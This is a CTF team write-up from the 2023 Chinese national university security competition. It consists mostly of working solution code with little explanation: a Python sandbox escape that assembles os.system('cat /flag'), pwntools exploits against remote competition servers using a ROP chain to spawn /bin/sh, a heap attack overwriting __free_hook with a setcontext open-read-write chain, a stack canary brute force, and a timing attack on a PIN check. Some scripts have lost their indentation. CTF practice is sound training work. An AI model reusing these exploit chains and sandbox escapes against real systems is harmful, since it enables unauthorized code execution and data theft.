2023全国大学生信息安全竞赛AGCTF战队WP

import matplotlib.pyplot as plt
def generate_trajectory_plot(x, y, output_file):
    plt.plot(x, y)
    plt.scatter(x, y, color='red')
    plt.xlabel('X')
    plt.ylabel('Y')
    plt.title('Trajectory Plot')
    plt.savefig(output_file)
    plt.show()
x_coordinates = [0,0,0,0,1,1,1,1,1,1,1,2,2,2,2,2,2,2,2,2,2,2,3,3,3,3,3,3,3,3,3,3,3,3,3,3,4,4,4,4,4,4,4,4,4,4,4,4,5,5,5,5,5,5,5,5,5,5,5,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,7,7,7,7,7,7,7,7,7,7,7,7,7,8,8,8,8,8,8,9,9,11,11,11,11,12,12,12,12,12,12,12,12,12,12,12,12,12,12,13,13,13,13,13,13,13,13,14,14,14,14,14,14,14,15,15,15,15,15,15,15,15,16,16,16,16,16,16,16,16,17,17,17,17,17,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,19,19,21,21,21,21,21,21,21,21,21,21,21,21,22,22,22,22,22,22,22,22,22,22,22,22,22,23,23,23,23,23,23,23,23,23,23,24,24,24,24,24,24,24,24,24,24,24,25,25,25,25,25,25,25,25,25,25,26,26,26,26,26,26,26,26,26,26,26,27,27,27,27,27,27,27,27,27,27,27,27,27,28,28,28,28,28,30,30,30,30,30,30,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,32,32,32,32,32,32,32,32,32,32,32,33,33,33,33,33,33,33,33,33,34,34,34,34,34,34,34,34,34,34,34,35,35,35,35,35,35,35,36,36,36,36,36,36,36,36,36,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,38,38,38]
y_coordinates = [3,4,9,29,2,3,4,5,9,28,29,2,3,9,15,16,21,22,23,24,28,29,1,2,3,4,9,14,15,17,20,21,23,24,28,29,2,3,9,14,16,17,18,20,21,24,27,28,2,3,9,14,15,17,18,20,21,24,28,2,3,9,10,11,12,14,17,18,21,22,23,24,28,29,2,3,10,11,14,15,16,17,18,19,24,28,29,20,21,23,24,29,30,22,23,21,22,23,24,1,2,3,4,8,9,10,11,15,16,17,18,23,24,1,4,5,8,11,18,22,23,4,8,11,17,18,21,22,3,4,8,11,16,17,22,23,2,3,8,11,15,16,23,24,2,8,11,15,24,2,3,4,5,8,9,10,11,15,16,17,18,20,21,22,23,24,9,10,2,3,4,5,9,10,11,16,17,18,23,24,2,5,6,8,9,15,16,18,19,21,22,23,24,2,5,6,8,9,15,18,19,23,24,2,5,6,9,10,11,15,18,19,23,24,2,5,6,11,12,15,18,19,23,24,2,5,6,8,11,12,15,18,19,23,24,2,3,5,8,9,10,11,15,16,18,19,23,24,3,4,16,17,18,9,10,11,12,24,30,3,4,5,9,10,11,12,16,17,18,22,23,24,25,31,2,3,5,6,11,15,16,22,23,25,31,5,6,10,15,16,22,23,25,31,5,10,11,16,17,18,22,23,24,25,32,4,11,12,18,19,25,31,3,4,12,15,18,19,24,25,31,3,4,5,6,8,9,10,11,12,15,16,17,18,23,24,30,31,22,23,30]
output_image = 'trajectory_plot.png'
generate_trajectory_plot(x_coordinates, y_coordinates, output_image)

>>'__imp'
'__imp'
>>_+"')"
"__imp')"
>>'__imp'
'__imp'
>>_+'ort'
'__import'
>>_+'__('
'__import__('
>>_+"'os"
"__import__('os"
>>_+"')"
"__import__('os')"
>>_+".s"
"__import__('os').s"
>>_+"ys"
"__import__('os').sys"
>>_+"te"
"__import__('os').syste"
>>_+"m("
"__import__('os').system("
>>_+"'l"
"__import__('os').system('l"
>>_+"s'"
"__import__('os').system('ls'"
>>_+")"
"__import__('os').system('ls')"
>>eval(_)

>>'__imp'
'__imp'
>>_+'ort'
'__import'
>>_+'__('
'__import__('
>>_+"'os"
"__import__('os"
>>_+"')"
"__import__('os')"
>>_+".s"
"__import__('os').s"
>>_+"ys"
"__import__('os').sys"
>>_+"te"
"__import__('os').syste"
>>_+"m("
"__import__('os').system("
>>_+"'c"
"__import__('os').system('c"
>>_+'at '
"__import__('os').system('cat "
>>_+'/fl'
"__import__('os').system('cat /fl"
>>_+"ag"
"__import__('os').system('cat /flag"
>>_+"')"
"__import__('os').system('cat /flag')"
>>eval(_)

from pwn import *
from struct import pack
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
io=remote("112.126.80.123",26771)
#io=process("./pwn")
#libc=ELF("./libc32-2.27.so")
elf=ELF("./pwn")
io.sendline(str(1))
io.sendline(str(1))
io.sendline(str(-100000))
io.sendline(str(4))
io.sendline(str(5))
p = b'a'*(0x20)+b'bcdefjhi'
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e0) # @ .data
p += pack('<Q', 0x0000000000458827) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret
p += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040264f) # pop rdi ; ret
p += pack('<Q', 0x00000000004e60e0) # @ .data
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x00000000004a404b) # pop rdx ; pop rbx ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000402404) # syscall
#gdb.attach(io)
#pause()
io.sendline(p)
io.interactive()

from pwn import *
from struct import pack
from ctypes import *
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r():
p.recv()
def pr():
print(p.recv())
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
context(os='linux', arch='amd64', log_level='debug')
#p = process("./pwn2")
p = remote('47.94.206.10', 34904)elf = ELF("./pwn2")
libc = ELF('./libc-2.31.so')
import sys
sys.path.append('./output')
import devicmesg_pb2
def add(idx, data_len, data):
msg = devicmesg_pb2.devicmesg()
msg.actionid = 1
msg.msgidx = idx
msg.msgsize = data_len
msg.msgcontent = data
serialized_msg = msg.SerializeToString()
sa(b'now: \n', serialized_msg)
def edit(idx, data):
msg = devicmesg_pb2.devicmesg()
msg.actionid = 2
msg.msgidx = idx
msg.msgsize = 1
msg.msgcontent = data
serialized_msg = msg.SerializeToString()
sa(b'now: \n', serialized_msg)
def show(idx):
msg = devicmesg_pb2.devicmesg()
msg.actionid = 3
msg.msgidx = idx
msg.msgsize = 1
msg.msgcontent = b'a'
serialized_msg = msg.SerializeToString()
sa(b'now: \n', serialized_msg)
def free(idx):
msg = devicmesg_pb2.devicmesg()
msg.actionid = 4
msg.msgidx = idx
msg.msgsize = 1
msg.msgcontent = b'a'
serialized_msg = msg.SerializeToString()
sa(b'now: \n', serialized_msg)
for i in range(1, 10):
add(i, 0xf0, b'a'*0xf0)
for i in range(1, 9):
free(i)
show(8)
p.recv(0x38)
heap_base = u64(p.recv(8)) - 0x1470
rl(b'\x7f')
libc_base = get_addr() - 0x1ecbe0 #
rax = libc_base + 0x36174
rdi = libc_base + 0x23b6a
rsi = libc_base + 0x2601f
rdx = libc_base + 0x142c92
rsp = libc_base + 0x2f70a
ret = libc_base + 0x22679
syscall = libc_base + 0x2284d
mov_rdx_rdi_ = libc_base + 0x151990
setcontext = libc_base + 0x54F5D
buf = heap_base + 0x3000
flag = heap_base + 0x2088
free_hook = libc_base + libc.sym['__free_hook']
add(10, 0x20, b'a')
add(11, 0x20, b'a')
free(11)
free(10)
edit(10, p64(free_hook - 8))
add(12, 0x20, b'a')
payload = b'\x00'*8 + p64(mov_rdx_rdi_)
add(13, 0x20, payload)
add(14, 0xc0, (p64(heap_base + 0x1e20)*2 + p64(setcontext)*4).ljust(0xa0, b'\x00') + p64(heap_base + 0x640) + p64(ret))
open_ = libc_base + libc.sym['open']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
puts = libc_base + libc.sym['puts']
orw = p64(rdi) + p64(flag) + p64(rsi) + p64(0) + p64(rdx) + p64(0) + p64(open_)
orw += p64(rdi) + p64(3) + p64(rsi) + p64(buf) + p64(rdx) + p64(0x30) + p64(read)
orw += p64(rdi) + p64(1) + p64(write)
orw += b'/flag\x00\x00\x00'
edit(2, orw)
free(14)
pr()

from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='amd64', os='linux')
local = 0
elf = ELF('./pwn1')
if local:
p = process('./pwn1')
#libc = elf.libc
else:
p = remote('123.56.99.60',31516)
libc = ELF('./pwn1')
p.recvuntil('welcome\n')
canary = '\x00'
for k in range(7):
for i in range(256):
print ("the " + str(k) + ": " + chr(i))
p.send('a'*(0x70-8) + canary + chr(i))
a = p.recvuntil("welcome\n")
print (a)
if "have fun" in a:
canary += chr(i)
print ("canary: " + canary)
break
for i in range(16):
a = 0x10 * i + 0x2
pay = 'a'*0x68 + canary + "a"*8 + "\x31" + chr(a)
print(pay)
#debug()
p.send(pay)
out = p.recvuntil("welcome\n")
print(out)
if b"{" in out:
success(out)
print(out)
break
p.interactive()

from pwn import *
from sys import argv
context(os='linux',arch='amd64',log_level='debug')
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r():
p.recv()
def pr():
print(p.recv())
def ru(a):
return p.recvuntil(a)
def inter():
p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
pin='8'
a='0'
p= remote("47.94.206.10",33355)
pin_o = pin+a+'0'*(7-len(pin))
sum=0
for _ in range(10): #发十次增大数据之间相比较的时间戳值
ru('>')
sl(b'3')
ru(b"PIN code: ")
start=time.time()
sl(pin_o)
rev=ru(b'\n')
if b"Wrong PIN code" in rev:
pass
else:
print(pin_0)
break
end=time.time()
sum+=(end-start)
print(pin_o,sum)
p.interactive()

#include <stdio.h>
#include <stdint.h>
#include <string.h>
// Function to reverse a byte array in-place
void reverseBytes(uint8_t* bytes, size_t length) {
for (size_t i = 0; i < length / 2; i++) {
uint8_t temp = bytes[i];
bytes[i] = bytes[length - i - 1];
bytes[length - i - 1] = temp;
}
}
int main() {
uint64_t r12 = (2616514329260088143ULL ^ 1237891274917891239ULL) - 1892739;
uint64_t r13 = (8502251781212277489ULL ^ 1209847170981118947ULL) - 8971237;
uint64_t r14 = (2451795628338718684ULL ^ 1098791727398412397ULL) - 1512312;
uint64_t r15 = (8722213363631027234ULL ^ 1890878197237214971ULL) - 9123704;
// Reverse the bytes
reverseBytes((uint8_t*)&r12, sizeof(r12));
reverseBytes((uint8_t*)&r13, sizeof(r13));
reverseBytes((uint8_t*)&r14, sizeof(r14));
reverseBytes((uint8_t*)&r15, sizeof(r15));
uint8_t flag[37];
// Copy the bytes to the flag array
memcpy(flag, "flag{", 5);
memcpy(flag + 5, &r12, sizeof(r12));
memcpy(flag + 5 + sizeof(r12), &r13, sizeof(r13));
memcpy(flag + 5 + sizeof(r12) + sizeof(r13), &r14, sizeof(r14));
memcpy(flag + 5 + sizeof(r12) + sizeof(r13) + sizeof(r14), &r15, sizeof(r15));
memcpy(flag + 5 + sizeof(r12) + sizeof(r13) + sizeof(r14) + sizeof(r15), "3861}", 6);
printf("%s\n", flag);
return 0;
}
 //flag{5bfe906ee4-e07e--96ca-49c69d13ca3861}
但是这个flag不对
跑出来的让我肯定这个算法不会出错，想到elf文件会不会是小端序存储，然后就又改了一下
Exp
#include <stdio.h>
#include <stdint.h>
#include <string.h>
// Function to reverse a byte array in-place
void reverseBytes(uint8_t* bytes, size_t length) {
for (size_t i = 0; i < length / 2; i++) {
uint8_t temp = bytes[i];
bytes[i] = bytes[length - i - 1];
bytes[length - i - 1] = temp;
}
}
int main() {
uint64_t r12 = (2616514329260088143ULL ^ 1237891274917891239ULL) - 1892739;
uint64_t r13 = (8502251781212277489ULL ^ 1209847170981118947ULL) - 8971237;
uint64_t r14 = (2451795628338718684ULL ^ 1098791727398412397ULL) - 1512312;
uint64_t r15 = (8722213363631027234ULL ^ 1890878197237214971ULL) - 9123704;
// Reverse the bytes
reverseBytes((uint8_t*)&r12, sizeof(r12));
reverseBytes((uint8_t*)&r13, sizeof(r13));
reverseBytes((uint8_t*)&r14, sizeof(r14));
reverseBytes((uint8_t*)&r15, sizeof(r15));
uint8_t flag[37];
// Copy the bytes to the flag array
memcpy(flag, "flag{", 5);
memcpy(flag + 5, &r12, sizeof(r12));
memcpy(flag + 5 + sizeof(r12), &r13, sizeof(r13));
memcpy(flag + 5 + sizeof(r12) + sizeof(r13), &r14, sizeof(r14));
memcpy(flag + 5 + sizeof(r12) + sizeof(r13) + sizeof(r14), &r15, sizeof(r15));
memcpy(flag + 5 + sizeof(r12) + sizeof(r13) + sizeof(r14) + sizeof(r15), "3861}", 6);
// Reverse each part inside the parentheses
reverseBytes(flag + 5, sizeof(r12));
reverseBytes(flag + 5 + sizeof(r12), sizeof(r13));
reverseBytes(flag + 5 + sizeof(r12) + sizeof(r13), sizeof(r14));
reverseBytes(flag + 5 + sizeof(r12) + sizeof(r13) + sizeof(r14), sizeof(r15));
printf("%s\n", flag);
return 0;
}
 // flag{e609efb5-e70e-4e94-ac69-ac31d96c3861}

#include <stdio.h>
#include <stdint.h>
int main() {
uint8_t secret[] = {102, 10, 13, 6, 28, 74, 3, 1, 3, 7, 85, 0, 4, 75, 20, 92, 92, 8, 28, 25, 81, 83, 7, 28, 76, 88, 9, 0, 29, 73,
0, 86, 4, 87, 87, 82, 84, 85, 4, 85, 87, 30};
char flag[42] = "f";
for (int i = 1; i < 41; i++) {
secret[i] = secret[i] ^ secret[i - 1];
flag[i] = secret[i];
}
printf("%s}\n", flag);
return 0;
}